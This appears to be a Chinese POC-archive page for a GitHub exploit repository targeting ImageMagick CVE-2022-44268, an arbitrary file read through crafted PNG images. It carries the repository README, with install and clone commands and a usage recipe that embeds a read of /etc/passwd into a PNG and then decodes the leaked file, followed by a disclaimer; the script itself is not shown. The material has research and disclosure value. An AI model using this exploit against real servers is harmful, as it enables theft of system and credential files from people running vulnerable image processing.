POC详情: 792706f09dbcf9039de50625f1e7c48f4aac7b88

来源
关联漏洞
标题: ImageMagick 安全漏洞 (CVE-2022-44268)
描述:ImageMagick是美国ImageMagick公司的一套开源的图像处理软件。该软件可读取、转换或写入多种格式的图片。 ImageMagick 7.1.0-49版本存在安全漏洞,该漏洞源于存在信息泄露漏洞,当它在解析PNG图像时生成的图像可能会嵌入任意文件内容。
描述
A bash script for easyly exploiting ImageMagick Arbitrary File Read Vulnerability CVE-2022-44268
介绍
# Exploit-for-ImageMagick-CVE-2022-44268
A bash script for easly exploiting ImageMagick Arbitrary File Read Vulnerability CVE-2022-44268

## Image Magic version effected

```shell
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Copyright: (C) 1999-2021 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC Modules OpenMP(4.5)
Delegates (built-in): bzlib djvu fftw fontconfig freetype heic jbig jng jp2 jpeg lcms lqr ltdl lzma openexr pangocairo png tiff webp wmf x xml zlib
```

## Packages need to Install

```shell
sudo apt-get install imagemagick exiftool pngcrush exiv2 -y
```

## Setup

```shell
git clone https://github.com/atici/Exploit-for-ImageMagick-CVE-2022-44268.git
cd Exploit-for-ImageMagick-CVE-2022-44268
chmod 750 script.sh
```
## Usage

```shell
./script.sh -p [Path to Read] [PNG Image] [Output[Optional, if not used defaults to pngout.png]]
./script.sh -d [PNG]

Examples
./script.sh -p /etc/passwd sample.png output.png
./script.sh -d pngout.png

Options
-h = Show help
-p = Add the exploit to a PNG image 
-d = Extract and decode the read file
```

## Credits

- Original Report: https://www.metabaseq.com/imagemagick-zero-days/
- Original Poc : https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC.git
- Inspiration for this Project : https://github.com/Ashifcoder/CVE-2022-44268-automated-poc

# Disclaimer:

All the code provided on this repository is for educational/research purposes only. Any actions and/or activities related to the material contained within this repository is solely your responsibility. The misuse of the code in this repository can result in criminal charges brought against the persons in question. Author will not be held responsible in the event any criminal charges be brought against any individuals misusing the code in this repository to break the law.
文件快照

[4.0K] /data/pocs/792706f09dbcf9039de50625f1e7c48f4aac7b88 ├── [1.9K] README.md ├── [8.9K] sample.png └── [2.0K] script.sh 0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。